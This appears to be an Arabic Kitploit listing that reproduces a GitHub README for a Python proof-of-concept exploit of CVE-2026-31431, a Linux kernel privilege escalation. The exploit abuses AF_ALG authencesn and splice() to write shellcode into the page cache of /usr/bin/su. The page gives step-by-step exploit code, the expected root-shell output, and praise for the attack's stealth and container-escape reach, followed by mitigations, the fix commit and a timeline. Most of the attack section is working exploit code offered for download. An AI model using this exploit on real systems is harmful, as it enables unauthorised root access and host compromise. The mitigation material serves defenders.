Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-31431-python-copyfail-POC — استغلال بلغة بايثون لثغرة CVE-2026-31431، وهي تصعيد صلاحيات في نواة لينكس عبر إفساد ذاكرة التخزين المؤقت للصفحات لملفات setuid الثنائية، مما يحقق وصولاً بصلاحيات الجذر. | Kitploit
أدوات/GitHubGitHub/julichaan/cve-2026-31431-python-copyfail-poc
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمراستغلال الملفات الثنائية
GitHubjulichaan/cve-2026-31431-python-copyfail-poc

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-31431-python-copyfail-POC

استغلال بلغة بايثون لثغرة CVE-2026-31431، وهي تصعيد صلاحيات في نواة لينكس عبر إفساد ذاكرة التخزين المؤقت للصفحات لملفات setuid الثنائية، مما يحقق وصولاً بصلاحيات الجذر.

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

CVE-2026-31431: Copy Fail - تصعيد صلاحيات نواة لينكس

Copy Fail (CVE-2026-31431) هو خطأ منطقي حرج في النظام الفرعي للتشفير في نواة لينكس يسمح للمستخدمين غير المصرح لهم بتحقيق تصعيد الصلاحيات إلى صلاحيات الجذر (root). تؤثر الثغرة على نواة لينكس من الإصدار 6.0.0 حتى 6.18.x عبر جميع التوزيعات الرئيسية.

يحتوي هذا المستودع على الاستغلال الحقيقي الذي يُفعّل الثغرة عن طريق إفساد ذاكرة التخزين المؤقت للصفحات (page cache) للملفات الثنائية ذات setuid وتنفيذ كود تعسفي بصلاحيات الجذر.


ما هو Copy Fail؟

Copy Fail هو خطأ منطقي يسمح للمستخدمين غير المصرح لهم بكتابة أجزاء عشوائية من 4 بايت مباشرة إلى ذاكرة التخزين المؤقت للصفحات في النواة لأي ملف قابل للقراءة على النظام، بما في ذلك الملفات الثنائية ذات setuid.

الخصائص الرئيسية:

  • حتمي (Deterministic): لا يحتاج إلى حالات سباق (race conditions) أو نوافذ توقيت
  • قابل للنقل (Portable): نفس الاستغلال يعمل عبر جميع التوزيعات المعرضة للخطر (Ubuntu, RHEL, Amazon Linux, SUSE)
  • خفي (Stealthy): لا يتم تعديل الملفات على القرص أبدًا؛ فقط ذاكرة التخزين المؤقت للصفحات في الذاكرة يتم إفسادها
  • متوافق مع الحاويات (Containerized): يتجاوز حدود الحاويات لأن ذاكرة التخزين المؤقت للصفحات مشتركة عبر المضيف
  • بسيط (Simple): يتطلب فقط Python 3.10+ ووحدات المكتبة القياسية

التفاصيل التقنية

السبب الجذري: عمليات AEAD في المكان (In-Place)

تنبع الثغرة من تحسين تم في عام 2017 في algif_aead.c (commit 72548b093ee3) والذي غيّر عمليات AEAD من خارج المكان (out-of-place) إلى في المكان (in-place):

قبل (آمن - 2015):

root@kitploit:~
TX Scatterlist (الإدخال)  ← TX buffer (بيانات المستخدم من الملف)
RX Scatterlist (الإخراج) ← RX buffer (منطقة إخراج المستخدم)
                          
Scatterlists منفصلة = صفحات ذاكرة التخزين المؤقت للصفحات للقراءة فقط

بعد (معرض للخطر - 2017):

root@kitploit:~
Scatterlist مدمج:
[ RX buffer ] [ صفحات ذاكرة التخزين المؤقت للصفحات مرتبطة عبر sg_chain() ]
↑                ↑
req->src = src   req->dst = dst  (نفس scatterlist)

صفحات ذاكرة التخزين المؤقت للصفحات الآن في scatterlist قابل للكتابة!

يبدو الـ scatterlist المدمج كما يلي:

root@kitploit:~
[AAD + Ciphertext من RX buffer] || [Tag من صفحة /usr/bin/su في ذاكرة التخزين المؤقت]
                                  ↑
                                  الحدود
                                  (authencesn يكتب بعد هذه النقطة)

المُشغِّل: كتابة الخدش في خوارزمية authencesn

خوارزمية authencesn هي غلاف AEAD تستخدمه IPsec لأرقام التسلسل الموسعة (ESN). تقوم بحساب HMAC ولكنها تحتاج إلى إعادة ترتيب البايتات داخل AAD (بيانات المصادقة المرتبطة).

في كود النواة (crypto/authenc.c)، أثناء فك التشفير:

root@kitploit:~
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // قراءة بايتات AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // مؤقت: الكتابة فوق dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← السطر الرئيسي
                                                        // كتابة 4 بايتات عند dst[assoclen+cryptlen]

المشكلة: الكتابة الثالثة تحدث عند الإزاحة assoclen + cryptlen. في المسار المعرض للخطر (في المكان):

  • الحالة العادية: هذه الإزاحة ضمن RX buffer الخاص بالمستخدم (غير ضار)
  • الحالة المعرضة للخطر: هذه الإزاحة تتجاوز buffer المستخدم وتقع في صفحات ذاكرة التخزين المؤقت للصفحات المرتبطة (حرج)

تتعامل النواة مع هذا الموضع كـ"مساحة خدش قابلة للاستهلاك" وتكتب القيمة هناك بشكل دائم. البايتات الأصلية في هذا الموضع في ذاكرة التخزين المؤقت للصفحات تُفقد إلى الأبد.

سلسلة الهجوم

root@kitploit:~
1. يفتح المهاجم مقبس AF_ALG → يربطه بـ authencesn(hmac(sha256),cbc(aes))
   (لا توجد صلاحيات مطلوبة؛ AF_ALG متاح للمستخدمين غير المصرح لهم افتراضيًا)

2. يفتح المهاجم الملف المستهدف: /usr/bin/su (ملف ثنائي setuid-root)

3. يستخدم المهاجم splice() لتسليم صفحات /usr/bin/su من ذاكرة التخزين المؤقت
   إلى مقبس AF_ALG كـ"ciphertext" و"tag"
   
4. يرسل المهاجم sendmsg() مع AAD يحتوي على:
   - البايتات 0-3: حشو
   - البايتات 4-7: seqno_lo = قيمة 4 بايتات للكتابة (يتحكم بها المهاجم)
   - البايتات 8+: حشو

5. يستدعي المهاجم recvmsg() الذي يُفعّل عملية فك تشفير AEAD
   
   داخل authencesn في مساحة النواة:
   أ) تقرأ النواة بايتات AAD 0-7
   ب) تكتب النواة seqno_hi عند dst[4..7] (مؤقت، ثم يُستعاد)
   ج) تكتب النواة seqno_lo عند dst[assoclen + cryptlen]
      ↓
      هذه الكتابة تعبر من buffer المستخدم إلى صفحات ذاكرة التخزين المؤقت
      ↓
      كتابة 4 بايتات إلى ذاكرة التخزين المؤقت لـ /usr/bin/su تحدث هنا
   د) تحسب النواة HMAC (يفشل التحقق - ciphertext مُلفق)
   هـ) يعيد recvmsg() خطأ
   
   لكن: كتابة الـ 4 بايتات تبقى بالفعل في ذاكرة التخزين المؤقت للصفحات

6. يكرر المهاجم الخطوات 2-5 لكل جزء من 4 بايتات من الشيلكود

7. ينفذ المهاجم /usr/bin/su
   - تحمّل النواة الملف الثنائي من ذاكرة التخزين المؤقت للصفحات (التي تحتوي الآن على الشيلكود)
   - الملف الثنائي هو setuid-root
   - يُنفَّذ الشيلكود مع UID=0
   - يحصل المهاجم على صلاحيات الجذر

لماذا يعمل هذا


الاستغلال: خطوة بخطوة

الخطوة 1: إعداد المقبس

root@kitploit:~
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # مقبس الطلب لعمليات AEAD

أنشئ مقبس AF_ALG مرتبطًا بقالب authencesn AEAD.

الخطوة 2: فتح الملف الثنائي المستهدف

root@kitploit:~
target_fd = os.open("/usr/bin/su", os.O_RDONLY)

افتح الملف الثنائي setuid الذي سيتم إفساده. أي ملف قابل للقراءة يعمل، لكن الملفات الثنائية setuid تُختار لتصعيد الصلاحيات.

الخطوة 3: إنشاء أنبوب لـ Splice

root@kitploit:~
pipe_rd, pipe_wr = os.pipe()

أنشئ أنبوبًا سيعمل كوسيط لعمليات splice(). ستحتفظ مخازن الأنبوب المؤقتة بمراجع لصفحات ذاكرة التخزين المؤقت.

الخطوة 4: نقل الملف إلى الأنبوب عبر Splice

root@kitploit:~
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

استخدم splice() لنقل cryptlen بايت من /usr/bin/su بدءًا من write_offset إلى الأنبوب.

لماذا هذا مهم: ينقل splice() البيانات بين واصفات الملفات بدون نسخ. يمرر مراجع مباشرة لصفحات ذاكرة التخزين المؤقت للنواة. تبقى هذه الصفحات في بنية المخزن المؤقت الداخلية للأنبوب.

الخطوة 5: صياغة معاملات AEAD

root@kitploit:~
assoclen = 8          # طول AAD: البايتات 0-7
cryptlen = 32         # طول Ciphertext (== مخرجات HMAC-SHA256)
authsize = 32         # طول Tag
write_offset = 0x2000 # الإزاحة في /usr/bin/su للكتابة إليها

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

يحتوي AAD (بيانات المصادقة المرتبطة) على:

  • البايتات 0-3: حشو
  • البايتات 4-7: قيمة الـ 4 بايتات للكتابة (seqno_lo) ← يتحكم بها المهاجم
  • الباقي: حشو

ستستخدم خوارزمية authencesn البايتات 4-7 من هذا AAD في كتابة الخدش الخاصة بها.

الخطوة 6: إرسال AAD

root@kitploit:~
req_sock.sendmsg([aad], [], socket.MSG_MORE)

أرسل AAD إلى مقبس AF_ALG. تشير علامة MSG_MORE إلى أن ciphertext/tag سيتبعان.

الخطوة 7: نقل Ciphertext+Tag إلى المقبس عبر Splice

root@kitploit:~
os.splice(pipe_rd, req_sock.fileno(), cryptlen)

انقل صفحات ذاكرة التخزين المؤقت من الأنبوب إلى مقبس AF_ALG. الآن يحتوي scatterlist الخاص بالنواة على:

root@kitploit:~
سلسلة Scatterlist:
[ AAD (من RX buffer) ] || [ Ciphertext (من RX buffer) ] → [ Tag (صفحات ذاكرة التخزين المؤقت) ]
                                                               ↑
                                                     لا يزال يشير إلى
                                                     صفحات /usr/bin/su

الخطوة 8: تفعيل الثغرة عبر recvmsg()

root@kitploit:~
try:
    req_sock.recv(1024)
except OSError:
    pass  # من المتوقع أن يفشل مع HMAC غير صالح

استدعِ recvmsg() لتفعيل عملية فك تشفير AEAD:

داخل authencesn في مساحة النواة:

  1. تقرأ النواة بايتات AAD 0-7
  2. تكتب النواة مؤقتًا فوق بايتات AAD 4-7 (seqno_hi)
  3. تكتب النواة البايتات 4-7 من AAD (seqno_lo) إلى dst[assoclen + cryptlen]
    • هذه الإزاحة هي: 8 + 32 = 40 بايت داخل الـ scatterlist
    • RX buffer يبلغ ~48 بايت فقط في المجمل
    • الكتابة عند البايت 40 تعبر إلى صفحات ذاكرة التخزين المؤقت المرتبطة
  4. تستعيد النواة بايتات AAD 4-7 من الموقع المؤقت
  5. تحسب النواة HMAC على البيانات المعاد ترتيبها → يفشل (ciphertext مُلفق)
  6. تعيد النواة خطأ
  7. لكن كتابة الـ 4 بايتات عند الإزاحة 40 حدثت بالفعل وتبقى

الخطوة 9: التكرار لكل جزء من الشيلكود

root@kitploit:~
for i in range(0, len(shellcode), 4):
    chunk = shellcode[i:i+4]
    exploit_target_file("/usr/bin/su", base_offset + i, chunk)

يحلق الاستغلال، ويكتب أجزاء من 4 بايتات من الشيلكود في إزاحات متتالية في ذاكرة التخزين المؤقت لـ /usr/bin/su.

الخطوة 10: تنفيذ الملف الثنائي المُفسد

root@kitploit:~
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)

نفّذ /usr/bin/su:

  • تحمّل النواة الملف الثنائي من ذاكرة التخزين المؤقت للصفحات (النسخة المُفسدة مع الشيلكود)
  • الشيلكود في إزاحة معروفة
  • بت setuid للملف الثنائي ما زال مضبوطًا
  • يُنفَّذ الشيلكود مع UID=0
  • يتم إطلاق قشرة جذر

تشغيل الاستغلال

المتطلبات الأساسية

  • نواة لينكس 6.0.0 - 6.18.x (الإصدارات المعرضة للخطر)
  • Python 3.10+ (لدعم os.splice())
  • يجب تحميل وحدات AF_ALG و authencesn:
    root@kitploit:~
    lsmod | grep -E 'af_alg|algif_aead|authencesn'
    
  • وصول مستخدم محلي إلى النظام
  • يجب أن يكون /usr/bin/su setuid وقابلًا للقراءة

التنفيذ

root@kitploit:~
python3 exploit.py

المخرجات المتوقعة على نظام معرض للخطر:

root@kitploit:~
[*] CVE-2026-31431 (Copy Fail) تصعيد صلاحيات نواة لينكس
[*] الهدف: /usr/bin/su (ملف ثنائي setuid-root)

[*] إصدار النواة: 6.12.0-1007-aws
[+] النواة 6.12.x ضمن النطاق المعرض للخطر (6.0 - 6.18)

[+] تم العثور على /usr/bin/su (ملف ثنائي setuid-root)
[+] فحص ثغرة النواة: AF_ALG + splice + authencesn

[*] بدء إفساد ذاكرة التخزين المؤقت للصفحات...

[*] حقن 33 بايت من الشيلكود في /usr/bin/su
[+] تمت كتابة الجزء 0 عند الإزاحة 0x2000
[+] تمت كتابة الجزء 1 عند الإزاحة 0x2004
...
[+] تم حقن الشيلكود بنجاح!
[*] تنفيذ /usr/bin/su لتفعيل الشيلكود...

# id
uid=0(root) gid=1001(user) groups=1001(user)

الإجراءات الوقائية

فورية (قبل تحديث النواة)

تعطيل دعم AF_ALG AEAD:

root@kitploit:~
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit

يمنع هذا الاستغلال من الوصول إلى واجهة AEAD الخاصة بـ AF_ALG مع الحفاظ على وظائف AF_ALG الأخرى سليمة.

إلغاء تحميل الوحدات المعرضة للخطر:

root@kitploit:~
sudo rmmod algif_aead
sudo rmmod authencesn

حظر إنشاء مقبس AF_ALG عبر seccomp (للبيئات المعزولة بالحاويات):

root@kitploit:~
# في سياسة أمان الحاوية، ارفض استدعاءات النظام socket(38, SOCK_SEQPACKET)

طويلة المدى (تحديث النواة)

قم بالتحديث إلى لينكس 6.19+ الذي يتضمن الإصلاح (commit a664bf3d603d).

يعيد الإصلاح algif_aead.c إلى عمليات AEAD خارج المكان (out-of-place):

root@kitploit:~
// قبل (في المكان - معرض للخطر):
aead_request_set_crypt(&areq->cra_u.aead_req, 
                       rsgl_src,        // RX SGL (الإدخال)
                       rsgl_src,        // RX SGL (الإخراج) - نفس الشيء
                       used, ctx->iv);

// بعد (خارج المكان - مُصلح):
aead_request_set_crypt(&areq->cra_u.aead_req,
                       tsgl_src,        // TX SGL (الإدخال)
                       rsgl_src,        // RX SGL (الإخراج) - مختلف
                       used, ctx->iv);

مع scatterlists منفصلة للمصدر والوجهة:

  • الإدخال: TX scatterlist (قد يحتوي على صفحات ذاكرة التخزين المؤقت من splice)
  • الإخراج: RX scatterlist (buffer المستخدم)
  • صفحات ذاكرة التخزين المؤقت ليست أبدًا في وجهة قابلة للكتابة
  • تبقى كتابة الخدش الخاصة بـ authencesn ضمن buffer المستخدم (غير ضارة)

الجدول الزمني للثغرة


الإصدارات المتأثرة


لماذا هذه الثغرة مهمة

  1. عبر التوزيعات: نفس الهجوم يعمل على Ubuntu و RHEL و Amazon Linux و SUSE
  2. لا صلاحيات مطلوبة: مستخدم محلي غير مصرح له → جذر
  3. الهروب من الحاويات: ذاكرة التخزين المؤقت المشتركة تعني إمكانية اختراق من الحاوية إلى المضيف
  4. تأثير Kubernetes: ناقل هروب من العقدة في مجموعات Kubernetes
  5. خطأ منطقي: ليس خطأ تجاوز حد أو تجاوز مخزن مؤقت؛ عيب منطقي بحت
  6. خفي: لا أعطال في النظام، لا سجلات، ملفات القرص لم تُمس
  7. موثوق: لا نوافذ توقيت أو حالات سباق للفوز بها

المراجع

  • كشف Xint Research: https://xint.io/blog/copy-fail-linux-distributions
  • التزام إصلاح النواة: https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
  • التزام الثغرة: https://github.com/torvalds/linux/commit/72548b093ee3
  • تفاصيل CVE: CVE-2026-31431
  • فريق البحث: Xint Code / Theori

إخلاء المسؤولية

هذا الاستغلال مخصص لأغراض الاختبار الأمني التعليمي والمصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على التفويض المناسب قبل اختبار الثغرات.

تنزيل الأداة
الجانبالشرح
لا أعطالتكتمل العملية من منظور النواة
حتميلا حالات سباق؛ متزامن وموثوق
مستمريبقى إفساد ذاكرة التخزين المؤقت حتى بعد خطأ recvmsg()
غير مرئيالملف على القرص لم يُمس؛ أدوات فحص السلامة القياسية لا تكتشف شيئًا
عالمينفس الكود يعمل على جميع التوزيعات؛ لا حاجة لإزاحات خاصة بالتوزيع
قابل للنقليعمل على معماريتي x86-64 و ARM64
التاريخالحدث
الربع الثالث 2017إدخال الثغرة في algif_aead.c (commit 72548b093ee3)
2026-03-23الإبلاغ إلى فريق أمان نواة لينكس
2026-03-24اعتراف فريق النواة بالثغرة
2026-03-25اقتراح ومراجعة التصحيحات
2026-04-01دمج التصحيحات في النواة الرئيسية (commit a664bf3d603d)
2026-04-22تعيين CVE-2026-31431
2026-04-29الكشف العام (Xint Research)
السلسلةالحالةالتفاصيل
لينكس 5.x✅ آمنيسبق الثغرة
لينكس 6.0 - 6.18❌ معرض للخطرجميع الإصدارات الفرعية متأثرة
لينكس 6.19+✅ آمنيحتوي على الإصلاح (commit a664bf3d603d)
لينكس 7.0+✅ آمنبعد دمج الإصلاح